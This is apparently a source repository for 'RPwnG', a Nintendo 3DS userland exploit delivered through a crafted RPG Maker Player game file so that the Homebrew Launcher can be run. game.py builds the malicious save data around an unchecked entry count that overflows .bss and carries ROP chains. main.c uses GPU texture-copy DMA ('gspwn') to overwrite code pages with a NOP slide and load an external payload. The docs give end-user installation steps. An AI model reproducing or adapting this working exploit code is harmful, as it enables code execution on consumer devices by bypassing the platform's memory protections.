├── .gitignore ├── Makefile ├── README.md ├── code ├── Makefile ├── ccd00.ld ├── ccd00.specs ├── makeConstantsHeader.py └── source │ ├── crt0.S │ ├── imports.h │ ├── main.c │ ├── math.S │ ├── utils.c │ └── utils.h ├── docs ├── _config.yml └── index.md ├── game ├── Makefile └── game.py ├── pyrop ├── base_modules.py ├── builder_base.py └── pyrop.py ├── rop ├── Makefile ├── constants.py ├── macros.py ├── rop.py └── rop_loader.py ├── ropdb ├── EUR.py ├── JPN.py └── USA.py └── utils └── portRopDb.py /.gitignore: -------------------------------------------------------------------------------- 1 | otherapp.bin 2 | utils/EUR.py 3 | utils/USA.py 4 | utils/JPN.py 5 | utils/code_* 6 | */__pycache__ 7 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | export PYROP:="$(CURDIR)/pyrop" 2 | 3 | all: ropdb/DB.py code/build game/build 4 | 5 | ropdb/DB.py: 6 | @cp ropdb/$(REGION).py ropdb/DB.py 7 | 8 | code/build: 9 | @cd code && make 10 | 11 | game/build: rop/build 12 | @cd game && make 13 | 14 | rop/build: 15 | @cd rop && make 16 | 17 | clean: 18 | @rm ropdb/DB.py 19 | @cd game && make clean 20 | @cd rop && make clean 21 | @cd code && make clean 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # rpwng 2 | Kind of primary exploit for RPG Maker Player on Nintendo 3DS 3 | 4 | ## How to build 5 | To build the exploit, copy the otherapp payload to the folder and rename it "otherapp.bin". 6 | Then execute: `make REGION=EUR/USA/JPN` 7 | Python 3 is required. 8 | -------------------------------------------------------------------------------- /code/Makefile: -------------------------------------------------------------------------------- 1 | ifeq ($(strip $(DEVKITARM)),) 2 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 3 | endif 4 | 5 | 6 | ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) 7 | export PATH:=$(DEVKITARM)/bin:$(PATH) 8 | endif 9 | 10 | include $(DEVKITARM)/3ds_rules 11 | 12 | CC = arm-none-eabi-gcc 13 | # LINK = arm-none-eabi-gcc 14 | LINK = arm-none-eabi-ld 15 | AS = arm-none-eabi-as 16 | OBJCOPY = arm-none-eabi-objcopy 17 | CFLAGS += -Wall -std=c99 -march=armv6 -Os -I"$(CTRULIB)/include" -I$(DEVKITPRO)/libnds/include 18 | LDFLAGS += --script=ccd00.ld -L"$(CTRULIB)/lib" 19 | 20 | CFILES = $(wildcard source/*.c) 21 | BINFILES = $(wildcard data/*.bin) 22 | OFILES = $(BINFILES:data/%.bin=build/%.bin.o) 23 | OFILES += $(CFILES:source/%.c=build/%.o) 24 | DFILES = $(CFILES:source/%.c=build/%.d) 25 | SFILES = $(wildcard source/*.S) 26 | OFILES += $(SFILES:source/%.S=build/%.o) 27 | PROJECTNAME = ${shell basename "$(CURDIR)"} 28 | CWD = "$(CURDIR)"" 29 | 30 | #--------------------------------------------------------------------------------- 31 | # canned command sequence for binary data, taken from devkitARM 32 | #--------------------------------------------------------------------------------- 33 | define bin2o 34 | bin2s $< | $(AS) -o $(@) 35 | echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( build/$*.d 68 | 69 | build/%.o: source/%.S 70 | $(CC) $(CFLAGS) -c $< -o $@ 71 | @$(CC) -MM $< > build/$*.d 72 | 73 | build/%.bin.o: data/%.bin 74 | @echo $(notdir $<) 75 | @$(bin2o) 76 | -------------------------------------------------------------------------------- /code/ccd00.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_ARCH(arm) 2 | 3 | MEMORY 4 | { 5 | RAMRX (rx) : ORIGIN = 0x00384000, LENGTH = 0x00002000 6 | RAMRW (rw!i) : ORIGIN = 0x08000000, LENGTH = 0x00100000 7 | } 8 | 9 | SECTIONS 10 | { 11 | .text : ALIGN(0x100) { 12 | build/crt0.o(.init) 13 | *(.text) 14 | *(.rodata) 15 | _got_start = .; 16 | *(.got) 17 | *(.got.plt) 18 | *(.data.rel.ro.local) 19 | _got_end = .; 20 | } 21 | 22 | .bss : { 23 | _bss_start = .; 24 | *(.bss); 25 | } 26 | _bss_end = .; 27 | } 28 | -------------------------------------------------------------------------------- /code/ccd00.specs: -------------------------------------------------------------------------------- 1 | %rename link old_link 2 | 3 | *link: 4 | %(old_link) -T ./ccd00.ld%s -------------------------------------------------------------------------------- /code/makeConstantsHeader.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import runpy 3 | 4 | cmdargs = sys.argv 5 | 6 | output_file = open(cmdargs[2], 'w') 7 | 8 | result = runpy.run_path(cmdargs[1]) 9 | diff = set(result.keys()) - set(globals().keys()) 10 | 11 | for gadget in diff: 12 | output_file.write("#define " + gadget + " " + hex(result[gadget]) + "\n") 13 | -------------------------------------------------------------------------------- /code/source/crt0.S: -------------------------------------------------------------------------------- 1 | .section ".init" 2 | .arm 3 | .align 0x4 4 | .global _start 5 | 6 | _start: 7 | mov sp, #0x10000000 8 | blx _main 9 | -------------------------------------------------------------------------------- /code/source/imports.h: -------------------------------------------------------------------------------- 1 | #ifndef IMPORTS_H 2 | #define IMPORTS_H 3 | 4 | #include <3ds.h> 5 | #include "../constants.h" 6 | 7 | #define LINEAR_BUFFER 0x31000000 8 | #define APPMEMTYPE_PTR 0x1FF80030 9 | #define MAX_CODEBIN_SIZE 0x326000 10 | #define PAYLOAD_VA 0x384000 11 | 12 | static Handle* const dspHandle = (Handle*)DSP_HANDLE; 13 | static Handle* const gspHandle = (Handle*)GSPGPU_HANDLE; 14 | 15 | static u32** const sharedGspCmdBuf = (u32**)(GSPGPU_INTERRUPT_RECEIVER_STRUCT + 0x58); 16 | 17 | static Result (* const _GSPGPU_FlushDataCache)(Handle* handle, Handle kProcess, u32* addr, u32 size) = (void*)GSPGPU_FLUSHDATACACHE; 18 | static Result (* const _GSPGPU_GxTryEnqueue)(u32** sharedGspCmdBuf, u32* cmdAddr) = (void*)GSPGPU_GXTRYENQUEUE; 19 | static Result (* const _DSP_UnloadComponent)(Handle* handle) = (void*)DSP_UNLOADCOMPONENT; 20 | static Result (* const _DSP_RegisterInterruptEvents)(Handle* handle, Handle event, u32 type, u32 port) = (void*)DSP_REGISTERINTERRUPTEVENTS; 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /code/source/main.c: -------------------------------------------------------------------------------- 1 | #include "imports.h" 2 | 3 | #include <3ds.h> 4 | #include "utils.h" 5 | 6 | #define LOOP_DEST (u8*)(LINEAR_BUFFER+0xE00000) 7 | #define OTHERAPP_DEST (u8*)(LINEAR_BUFFER+0xF00000) 8 | #define SLIDE_DEST (u8*)(LINEAR_BUFFER+0xA00000) 9 | 10 | void build_nop_slide(u32 *dst, int size) 11 | { 12 | for (int i = 0; i < size; i++) 13 | { 14 | dst[i] = 0xE1A00000; 15 | } 16 | dst[size-1] = 0xE12FFF1E; 17 | } 18 | 19 | void _main() 20 | { 21 | 22 | Result ret = 0; 23 | 24 | _DSP_UnloadComponent(dspHandle); 25 | _DSP_RegisterInterruptEvents(dspHandle, 0x0, 0x2, 0x2); 26 | 27 | u32 linear_base = 0x30000000 + (*(u8*)APPMEMTYPE_PTR == 0x6 ? 0x07c00000 : 0x04000000) - MAX_CODEBIN_SIZE; 28 | 29 | build_nop_slide((u32*)(SLIDE_DEST), 0x1000/4); 30 | u32 nop_slide_VA = 0x320000; 31 | u32 count = 0; 32 | do 33 | { 34 | int k = 0; 35 | int slide_pages = 0; 36 | while(slide_pages < 1 && k*0x1000 < MAX_CODEBIN_SIZE) 37 | { 38 | _GSPGPU_FlushDataCache(gspHandle, 0xFFFF8001, (u32*)LOOP_DEST, 0x1000); 39 | gspwn((void*)LOOP_DEST, (void*)(linear_base + k*0x1000), 0x1000); 40 | svcSleepThread(0x100000); 41 | 42 | if(!memcmp((void*)LOOP_DEST, (void*)(nop_slide_VA), 0x20)) 43 | { 44 | gspwn((void*)(linear_base + k*0x1000), (void*)(SLIDE_DEST), 0x1000); 45 | svcSleepThread(0x100000); 46 | slide_pages++; 47 | } 48 | k++; 49 | } 50 | 51 | int j = 0xFFC; 52 | while(*(u32*)(nop_slide_VA+j) == *(u32*)(SLIDE_DEST+j)) 53 | { 54 | count+=4; 55 | j-=4; 56 | } 57 | if(j < 0xFFC) ((void (*)())(nop_slide_VA+j+4))(); 58 | 59 | nop_slide_VA+=0x1000; 60 | } 61 | while(count < 0x6000 && nop_slide_VA < PAYLOAD_VA); 62 | //((void (*)())nop_slide_VA)(); 63 | 64 | 65 | u32 otherapp_size = *(u32*)(OTHERAPP_PTR-4); 66 | memcpy(OTHERAPP_DEST, (void*)OTHERAPP_PTR, otherapp_size); 67 | 68 | u32 _otherapp_size = (otherapp_size + 0xFFF) & ~0xFFF; 69 | 70 | u32 otherapp_pages_count = _otherapp_size >> 12; 71 | 72 | unsigned int pages = 0; 73 | for(unsigned int i = 0; i < MAX_CODEBIN_SIZE && (pages < otherapp_pages_count); i+=0x1000) 74 | { 75 | _GSPGPU_FlushDataCache(gspHandle, 0xFFFF8001, (u32*)LOOP_DEST, 0x1000); 76 | gspwn((void*)LOOP_DEST, (void*)(linear_base + i), 0x1000); 77 | svcSleepThread(0x200000); 78 | 79 | for(u8 j = 0; j < otherapp_pages_count; j++) 80 | { 81 | if(!memcmp((void*)LOOP_DEST, (void*)(0x101000 + j*0x1000), 0x20)) 82 | { 83 | //otherapp_pages[j] = i; 84 | gspwn((void*)(linear_base + i), (void*)(OTHERAPP_DEST+j*0x1000), 0x1000); 85 | svcSleepThread(0x200000); 86 | pages++; 87 | } 88 | } 89 | } 90 | // ghetto dcache invalidation 91 | // don't judge me 92 | int i, j; 93 | // for(k=0; k<0x2; k++) 94 | for(j=0; j<0x4; j++) 95 | for(i=0; i<0x01000000/0x4; i+=0x4) 96 | ((u8*)(LINEAR_BUFFER))[i+j]^=0xDEADBABE; 97 | 98 | 99 | u8* top_framebuffer = (u8*)(LINEAR_BUFFER+0x00100000); 100 | u8* low_framebuffer = &top_framebuffer[0x00046500]; 101 | _GSPGPU_SetBufferSwap(*gspHandle, 0, (GSPGPU_FramebufferInfo){0, (u32*)top_framebuffer, (u32*)top_framebuffer, 240 * 3, (1<<8)|(1<<6)|1, 0, 0}); 102 | _GSPGPU_SetBufferSwap(*gspHandle, 1, (GSPGPU_FramebufferInfo){0, (u32*)low_framebuffer, (u32*)low_framebuffer, 240 * 3, 1, 0, 0}); 103 | 104 | // run payload 105 | { 106 | void (*payload)(u32* paramlk, u32* stack_pointer) = (void*)0x00101000; 107 | u32* paramblk = (u32*)LINEAR_BUFFER; 108 | 109 | paramblk[0x1c >> 2] = GSPGPU_SETTEXTURECOPY; 110 | paramblk[0x20 >> 2] = GSPGPU_FLUSHDATACACHE_WRAPPER; 111 | paramblk[0x48 >> 2] = 0x8d; // flags 112 | paramblk[0x58 >> 2] = GSPGPU_HANDLE; 113 | paramblk[0x64 >> 2] = 0x08010000; 114 | 115 | payload(paramblk, (u32*)(0x10000000 - 4)); 116 | } 117 | 118 | *(u32*)ret = 0xdead0008; 119 | } 120 | -------------------------------------------------------------------------------- /code/source/math.S: -------------------------------------------------------------------------------- 1 | #ifdef __ARMEB__ 2 | #define xh r0 3 | #define xl r1 4 | #define yh r2 5 | #define yl r3 6 | #else 7 | #define xl r0 8 | #define xh r1 9 | #define yl r2 10 | #define yh r3 11 | #endif 12 | 13 | .global __muldi3 14 | __muldi3: 15 | 16 | .global __aeabi_lmul 17 | __aeabi_lmul: 18 | 19 | mul xh, yl, xh 20 | mla xh, xl, yh, xh 21 | mov ip, xl, lsr #16 22 | mov yh, yl, lsr #16 23 | bic xl, xl, ip, lsl #16 24 | bic yl, yl, yh, lsl #16 25 | mla xh, yh, ip, xh 26 | mul yh, xl, yh 27 | mul xl, yl, xl 28 | mul ip, yl, ip 29 | adds xl, xl, yh, lsl #16 30 | adc xh, xh, yh, lsr #16 31 | adds xl, xl, ip, lsl #16 32 | adc xh, xh, ip, lsr #16 33 | mov pc, lr 34 | 35 | 36 | dividend .req r0 37 | divisor .req r1 38 | result .req r2 39 | curbit .req r3 40 | .globl __udivsi3 41 | .type __udivsi3 ,function 42 | .globl __aeabi_uidiv 43 | .type __aeabi_uidiv ,function 44 | .align 0 45 | __udivsi3: 46 | __aeabi_uidiv: 47 | cmp divisor, #0 48 | beq Ldiv0_uidiv 49 | mov curbit, #1 50 | mov result, #0 51 | cmp dividend, divisor 52 | bcc Lgot_result 53 | Loop1: 54 | @ Unless the divisor is very big, shift it up in multiples of 55 | @ four bits, since this is the amount of unwinding in the main 56 | @ division loop. Continue shifting until the divisor is 57 | @ larger than the dividend. 58 | cmp divisor, #0x10000000 59 | cmpcc divisor, dividend 60 | movcc divisor, divisor, lsl #4 61 | movcc curbit, curbit, lsl #4 62 | bcc Loop1 63 | Lbignum: 64 | @ For very big divisors, we must shift it a bit at a time, or 65 | @ we will be in danger of overflowing. 66 | cmp divisor, #0x80000000 67 | cmpcc divisor, dividend 68 | movcc divisor, divisor, lsl #1 69 | movcc curbit, curbit, lsl #1 70 | bcc Lbignum 71 | Loop3: 72 | @ Test for possible subtractions, and note which bits 73 | @ are done in the result. On the final pass, this may subtract 74 | @ too much from the dividend, but the result will be ok, since the 75 | @ "bit" will have been shifted out at the bottom. 76 | cmp dividend, divisor 77 | subcs dividend, dividend, divisor 78 | orrcs result, result, curbit 79 | cmp dividend, divisor, lsr #1 80 | subcs dividend, dividend, divisor, lsr #1 81 | orrcs result, result, curbit, lsr #1 82 | cmp dividend, divisor, lsr #2 83 | subcs dividend, dividend, divisor, lsr #2 84 | orrcs result, result, curbit, lsr #2 85 | cmp dividend, divisor, lsr #3 86 | subcs dividend, dividend, divisor, lsr #3 87 | orrcs result, result, curbit, lsr #3 88 | cmp dividend, #0 @ Early termination? 89 | movnes curbit, curbit, lsr #4 @ No, any more bits to do? 90 | movne divisor, divisor, lsr #4 91 | bne Loop3 92 | Lgot_result: 93 | mov r0, result 94 | mov pc, lr 95 | Ldiv0_uidiv: 96 | str lr, [sp, #-4]! 97 | #bl __div0 (PLT) 98 | mov r0, #0 @ about as wrong as it could be 99 | ldmia sp!, {pc} 100 | .size __udivsi3 , . - __udivsi3 101 | 102 | .globl __aeabi_uidivmod 103 | __aeabi_uidivmod: 104 | 105 | stmfd sp!, {r0, r1, ip, lr} 106 | bl __aeabi_uidiv 107 | ldmfd sp!, {r1, r2, ip, lr} 108 | mul r3, r0, r2 109 | sub r1, r1, r3 110 | mov pc, lr 111 | 112 | .globl __aeabi_idivmod 113 | __aeabi_idivmod: 114 | 115 | stmfd sp!, {r0, r1, ip, lr} 116 | bl __aeabi_idiv 117 | ldmfd sp!, {r1, r2, ip, lr} 118 | mul r3, r0, r2 119 | sub r1, r1, r3 120 | mov pc, lr 121 | 122 | .macro ARM_DIV_BODY dividend, divisor, result, curbit 123 | 124 | #if __LINUX_ARM_ARCH__ >= 5 125 | 126 | clz \curbit, \divisor 127 | clz \result, \dividend 128 | sub \result, \curbit, \result 129 | mov \curbit, #1 130 | mov \divisor, \divisor, lsl \result 131 | mov \curbit, \curbit, lsl \result 132 | mov \result, #0 133 | 134 | #else 135 | 136 | @ Initially shift the divisor left 3 bits if possible, 137 | @ set curbit accordingly. This allows for curbit to be located 138 | @ at the left end of each 4 bit nibbles in the division loop 139 | @ to save one loop in most cases. 140 | tst \divisor, #0xe0000000 141 | moveq \divisor, \divisor, lsl #3 142 | moveq \curbit, #8 143 | movne \curbit, #1 144 | 145 | @ Unless the divisor is very big, shift it up in multiples of 146 | @ four bits, since this is the amount of unwinding in the main 147 | @ division loop. Continue shifting until the divisor is 148 | @ larger than the dividend. 149 | 1: cmp \divisor, #0x10000000 150 | cmplo \divisor, \dividend 151 | movlo \divisor, \divisor, lsl #4 152 | movlo \curbit, \curbit, lsl #4 153 | blo 1b 154 | 155 | @ For very big divisors, we must shift it a bit at a time, or 156 | @ we will be in danger of overflowing. 157 | 1: cmp \divisor, #0x80000000 158 | cmplo \divisor, \dividend 159 | movlo \divisor, \divisor, lsl #1 160 | movlo \curbit, \curbit, lsl #1 161 | blo 1b 162 | 163 | mov \result, #0 164 | 165 | #endif 166 | 167 | @ Division loop 168 | 1: cmp \dividend, \divisor 169 | subhs \dividend, \dividend, \divisor 170 | orrhs \result, \result, \curbit 171 | cmp \dividend, \divisor, lsr #1 172 | subhs \dividend, \dividend, \divisor, lsr #1 173 | orrhs \result, \result, \curbit, lsr #1 174 | cmp \dividend, \divisor, lsr #2 175 | subhs \dividend, \dividend, \divisor, lsr #2 176 | orrhs \result, \result, \curbit, lsr #2 177 | cmp \dividend, \divisor, lsr #3 178 | subhs \dividend, \dividend, \divisor, lsr #3 179 | orrhs \result, \result, \curbit, lsr #3 180 | cmp \dividend, #0 @ Early termination? 181 | movnes \curbit, \curbit, lsr #4 @ No, any more bits to do? 182 | movne \divisor, \divisor, lsr #4 183 | bne 1b 184 | 185 | .endm 186 | 187 | .macro ARM_DIV2_ORDER divisor, order 188 | 189 | #if __LINUX_ARM_ARCH__ >= 5 190 | 191 | clz \order, \divisor 192 | rsb \order, \order, #31 193 | 194 | #else 195 | 196 | cmp \divisor, #(1 << 16) 197 | movhs \divisor, \divisor, lsr #16 198 | movhs \order, #16 199 | movlo \order, #0 200 | 201 | cmp \divisor, #(1 << 8) 202 | movhs \divisor, \divisor, lsr #8 203 | addhs \order, \order, #8 204 | 205 | cmp \divisor, #(1 << 4) 206 | movhs \divisor, \divisor, lsr #4 207 | addhs \order, \order, #4 208 | 209 | cmp \divisor, #(1 << 2) 210 | addhi \order, \order, #3 211 | addls \order, \order, \divisor, lsr #1 212 | 213 | #endif 214 | 215 | .endm 216 | 217 | .align 5 218 | .globl __divsi3 219 | .globl __aeabi_idiv 220 | __divsi3: 221 | __aeabi_idiv: 222 | cmp r1, #0 223 | eor ip, r0, r1 @ save the sign of the result. 224 | beq Ldiv0 225 | rsbmi r1, r1, #0 @ loops below use unsigned. 226 | subs r2, r1, #1 @ division by 1 or -1 ? 227 | beq 10f 228 | movs r3, r0 229 | rsbmi r3, r0, #0 @ positive dividend value 230 | cmp r3, r1 231 | bls 11f 232 | tst r1, r2 @ divisor is power of 2 ? 233 | beq 12f 234 | 235 | ARM_DIV_BODY r3, r1, r0, r2 236 | 237 | cmp ip, #0 238 | rsbmi r0, r0, #0 239 | mov pc, lr 240 | 241 | 10: teq ip, r0 @ same sign ? 242 | rsbmi r0, r0, #0 243 | mov pc, lr 244 | 245 | 11: movlo r0, #0 246 | moveq r0, ip, asr #31 247 | orreq r0, r0, #1 248 | mov pc, lr 249 | 250 | 12: ARM_DIV2_ORDER r1, r2 251 | 252 | cmp ip, #0 253 | mov r0, r3, lsr r2 254 | rsbmi r0, r0, #0 255 | mov pc, lr 256 | 257 | Ldiv0: 258 | 259 | str lr, [sp, #-4]! 260 | #bl __div0 261 | mov r0, #0 @ About as wrong as it could be. 262 | ldr pc, [sp], #4 263 | 264 | 265 | .global __aeabi_uldivmod 266 | .type __aeabi_uldivmod, function 267 | .align 0 268 | A_0 .req r0 269 | A_1 .req r1 270 | B_0 .req r2 271 | B_1 .req r3 272 | C_0 .req r4 273 | C_1 .req r5 274 | D_0 .req r6 275 | D_1 .req r7 276 | Q_0 .req r0 277 | Q_1 .req r1 278 | R_0 .req r2 279 | R_1 .req r3 280 | __aeabi_uldivmod: 281 | stmfd sp!, {r4, r5, r6, r7, lr} 282 | @ Test if B == 0 283 | orrs ip, B_0, B_1 @ Z set -> B == 0 284 | beq L_div_by_0 285 | @ Test if B is power of 2: (B & (B - 1)) == 0 286 | subs C_0, B_0, #1 287 | sbc C_1, B_1, #0 288 | tst C_0, B_0 289 | tsteq B_1, C_1 290 | beq L_pow2 291 | @ Test if A_1 == B_1 == 0 292 | orrs ip, A_1, B_1 293 | beq L_div_32_32 294 | L_div_64_64: 295 | mov C_0, #1 296 | mov C_1, #0 297 | @ D_0 = clz A 298 | teq A_1, #0 299 | clz D_0, A_1 300 | clzeq ip, A_0 301 | addeq D_0, D_0, ip 302 | @ D_1 = clz B 303 | teq B_1, #0 304 | clz D_1, B_1 305 | clzeq ip, B_0 306 | addeq D_1, D_1, ip 307 | @ if clz B - clz A > 0 308 | subs D_0, D_1, D_0 309 | bls L_done_shift 310 | @ B <<= (clz B - clz A) 311 | subs D_1, D_0, #32 312 | rsb ip, D_0, #32 313 | movmi B_1, B_1, lsl D_0 314 | orrmi B_1, B_1, B_0, lsr ip 315 | movpl B_1, B_0, lsl D_1 316 | mov B_0, B_0, lsl D_0 317 | @ C = 1 << (clz B - clz A) 318 | movmi C_1, C_1, lsl D_0 319 | orrmi C_1, C_1, C_0, lsr ip 320 | movpl C_1, C_0, lsl D_1 321 | mov C_0, C_0, lsl D_0 322 | L_done_shift: 323 | mov D_0, #0 324 | mov D_1, #0 325 | @ C: current bit; D: result 326 | L_subtract: 327 | @ if A >= B 328 | cmp A_1, B_1 329 | cmpeq A_0, B_0 330 | bcc L_update 331 | @ A -= B 332 | subs A_0, A_0, B_0 333 | sbc A_1, A_1, B_1 334 | @ D |= C 335 | orr D_0, D_0, C_0 336 | orr D_1, D_1, C_1 337 | L_update: 338 | @ if A == 0: break 339 | orrs ip, A_1, A_0 340 | beq L_exit 341 | @ C >>= 1 342 | movs C_1, C_1, lsr #1 343 | movs C_0, C_0, rrx 344 | @ if C == 0: break 345 | orrs ip, C_1, C_0 346 | beq L_exit 347 | @ B >>= 1 348 | movs B_1, B_1, lsr #1 349 | mov B_0, B_0, rrx 350 | b L_subtract 351 | L_exit: 352 | @ Note: A, B & Q, R are aliases 353 | mov R_0, A_0 354 | mov R_1, A_1 355 | mov Q_0, D_0 356 | mov Q_1, D_1 357 | ldmfd sp!, {r4, r5, r6, r7, pc} 358 | L_div_32_32: 359 | @ Note: A_0 & r0 are aliases 360 | @ Q_1 r1 361 | mov r1, B_0 362 | bl __aeabi_uidivmod 363 | mov R_0, r1 364 | mov R_1, #0 365 | mov Q_1, #0 366 | ldmfd sp!, {r4, r5, r6, r7, pc} 367 | L_pow2: 368 | @ Note: A, B and Q, R are aliases 369 | @ R = A & (B - 1) 370 | and C_0, A_0, C_0 371 | and C_1, A_1, C_1 372 | @ Q = A >> log2(B) 373 | @ Note: B must not be 0 here! 374 | clz D_0, B_0 375 | add D_1, D_0, #1 376 | rsbs D_0, D_0, #31 377 | bpl L_1 378 | clz D_0, B_1 379 | rsb D_0, D_0, #31 380 | mov A_0, A_1, lsr D_0 381 | add D_0, D_0, #32 382 | L_1: 383 | movpl A_0, A_0, lsr D_0 384 | orrpl A_0, A_0, A_1, lsl D_1 385 | mov A_1, A_1, lsr D_0 386 | @ Mov back C to R 387 | mov R_0, C_0 388 | mov R_1, C_1 389 | ldmfd sp!, {r4, r5, r6, r7, pc} 390 | L_div_by_0: 391 | #bl __div0 392 | @ As wrong as it could be 393 | mov Q_0, #0 394 | mov Q_1, #0 395 | mov R_0, #0 396 | mov R_1, #0 397 | ldmfd sp!, {r4, r5, r6, r7, pc} 398 | 399 | -------------------------------------------------------------------------------- /code/source/utils.c: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | #include "imports.h" 3 | 4 | void* memset(void *ptr, int value, size_t num) 5 | { 6 | u8 *p = ptr; 7 | while (num) 8 | { 9 | *p++ = value; 10 | num--; 11 | } 12 | 13 | return ptr; 14 | } 15 | 16 | void* memcpy(void *destination, const void *source, size_t num) 17 | { 18 | u8 *dest = destination; 19 | u8 *src = (u8*)source; 20 | while (num) 21 | { 22 | *dest++ = *src++; 23 | num--; 24 | } 25 | 26 | return destination; 27 | } 28 | 29 | int memcmp(void *ptr1, void *ptr2, size_t num) 30 | { 31 | for(; num--; ptr1++, ptr2++) 32 | if(*(u8*)ptr1 != *(u8*)ptr2) 33 | return *(u8*)ptr1-*(u8*)ptr2; 34 | return 0; 35 | } 36 | 37 | Result gspwn(void* dst, void* src, u32 size) 38 | { 39 | u32 gxCommand[] = 40 | { 41 | 0x00000004, //cmd header (SetTextureCopy) 42 | (u32)src, 43 | (u32)dst, 44 | size, 45 | 0xFFFFFFFF, //dim in 46 | 0xFFFFFFFF, //dim out 47 | 0x00000008, //flags 48 | 0x00000000 49 | }; 50 | 51 | return _GSPGPU_GxTryEnqueue(sharedGspCmdBuf, gxCommand); 52 | } 53 | 54 | Result _GSPGPU_SetBufferSwap(Handle handle, u32 screenId, GSPGPU_FramebufferInfo framebufferInfo) 55 | { 56 | Result ret = 0; 57 | u32* cmdbuf = getThreadCommandBuffer(); 58 | 59 | cmdbuf[0] = 0x0050200; 60 | cmdbuf[1] = screenId; 61 | memcpy(&cmdbuf[2], &framebufferInfo, sizeof(GSPGPU_FramebufferInfo)); 62 | 63 | if((ret = svcSendSyncRequest(handle))) return ret; 64 | 65 | return cmdbuf[1]; 66 | } 67 | -------------------------------------------------------------------------------- /code/source/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILS_H 2 | #define UTILS_H 3 | 4 | #include <3ds.h> 5 | 6 | void* memset(void * ptr, int value, size_t num); 7 | void* memcpy(void *destination, const void *source, size_t num); 8 | int memcmp(void *ptr1, void *ptr2, size_t num); 9 | 10 | Result gspwn(void* dst, void* src, u32 size); 11 | Result _GSPGPU_SetBufferSwap(Handle handle, u32 screenId, GSPGPU_FramebufferInfo framebufferInfo); 12 | #endif 13 | -------------------------------------------------------------------------------- /docs/_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-midnight -------------------------------------------------------------------------------- /docs/index.md: -------------------------------------------------------------------------------- 1 | # RPwnG 2 | RPwnG is a 3ds userland exploit for RPG Maker Player, allowing one to launch 3 | [the Homebrew Launcher](http://smealum.github.io/3ds/) through the game. 4 | ## Requirements 5 | You'll need : 6 | * a 3ds on firmware 11.5 7 | * a digital copy of [RPG Maker Player](http://www.nintendo.com/games/detail/rpg-maker-player-3ds) (free) ver. 1.1.4 on EUR, ver. 1.1.2 on USA/JPN 8 | 9 | ## Installation 10 | 1. Get and install the homebrew starter kit available [here](http://smealum.github.io/3ds/). 11 | 2. Change your 3ds language to English (most of the uploaders speak english, and the game only shows projects with the same language as the one of your 3ds) 12 | 3. Find a code for your region and console type (o3ds/n3ds). You might want to look at #GetRPwnG on twitter. 13 | 4. (Optional) - Download the DLC (right from the game menu), it seems the exploit is more reliable with the DLC. 14 | 5. Download the project thank to the online sharing feature, once the download is finished try to run it. 15 | 6. Enjoy! 16 | 17 | ## How to use RPwnG 18 | Just try to load the RPwnG game, the loading should stop and the HBL should run. 19 | /!\ It might take a while for the exploit to run, be patient /!\ 20 | 21 | ## Donations 22 | Much efforts and time have been spent on making this exploit, since some people already asked me if they could give me a few bucks somewhere, I decided for the first time to add this donation button. 23 | Of course you're not forced to give anything, every amount will be appreciated and of course used for hacking purposes ;) (potentially Switchhax in the future) 24 | [![Donate](https://www.paypalobjects.com/en_US/i/btn/btn_donate_LG.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=MN78A7NRKN8W4) 25 | 26 | ## Thanks 27 | * [smealum](https://github.com/smealum) and everyone else who have contributed to the HBL/hax payload 28 | * All the potential testers and the people who share the exploit 29 | -------------------------------------------------------------------------------- /game/Makefile: -------------------------------------------------------------------------------- 1 | all: build/game_00.dat 2 | 3 | build/game_00.dat: game.py 4 | @python3 $(PYROP)/pyrop.py game.py build/game_00.dat 5 | 6 | clean: 7 | @rm -rf build 8 | -------------------------------------------------------------------------------- /game/game.py: -------------------------------------------------------------------------------- 1 | import os 2 | include("../ropdb/DB.py") 3 | include("../rop/constants.py") 4 | 5 | set_mem_offset(FILE_PTR) 6 | 7 | GAME_SECTIONS_ENTRY = 0x102 8 | CALLBACK_VAR_ENTRY = 0x2236 9 | 10 | put_label('start') 11 | 12 | ##HEADER## 13 | add_halfword(0x0101) 14 | add_ascii("rtk0805a") 15 | 16 | org(FILE_PTR+0x14) 17 | add_word(0x4) # type ? replacedby 4 when downloaded anyway 18 | add_word(SECTION2_OFFSET) # I don't know if this is really used, the offset seems to be hardcoded... 19 | add_utf16("RPwnG - EUR") # title 20 | 21 | org(FILE_PTR+0x80) 22 | add_utf16("by MrNbaYoh/Nba_Yoh") # author 23 | 24 | org(FILE_PTR+0xB4) 25 | add_word(end-start) # size 26 | 27 | 28 | ##SECTION1## 29 | org(SECTION1_PTR) 30 | 31 | nb_entries = 0x2280 # number of entries in section2, unchecked => overflow in .bss that overwrites section1/2 ptrs and other ptrs 32 | 33 | add_word(0x00000001) # first entry in section1 (index=0), need to be != 0 to indicate it has to be parsed 34 | fill(0x48, 0) 35 | add_word(0x0) 36 | add_word(0x1) # needs to be != 0 so the associated section2 chunk is parsed 37 | 38 | #set everything else in this section too null except title/decscription (needed for online sharing) to avoid issues 39 | 40 | org(FILE_PTR+TITLE_OFFSET) 41 | add_utf16("RPwnG - EUR") 42 | 43 | org(FILE_PTR+DESC_OFFSET) 44 | add_utf16("The homebrew launcher - All you bases are belong to us!") 45 | 46 | ##SECTION2## 47 | org(SECTION2_PTR) 48 | 49 | #each chunk of this section has a variable size, it is composed of multiple sub-chunks of variable sizes 50 | #each chunk has a 0x404 bytes long header(?), the first two bytes indicate how many sub-chunks there are 51 | #each sub-chunk has a 0x2C bytes long header(?) and the byte at offset 0x26 indicates some potential extra data after the header 52 | #so if the byte at offset 0x26 is null, then the size of the sub-chunk is the size of its header = 0x2C 53 | 54 | #the memcpy src buffer will contain this area at offset 0 55 | begin_area(0x404) 56 | add_halfword(nb_entries) #nb_entries read by the game 57 | add_halfword(0x0) #align 4 58 | add_word(0x0) #this might get overwritten when uploading the file, can store anything after that so why not the ROPs ? 59 | incbin("../rop/build/rop_loader.bin") 60 | incbin("../rop/build/rop.bin") 61 | end_area() 62 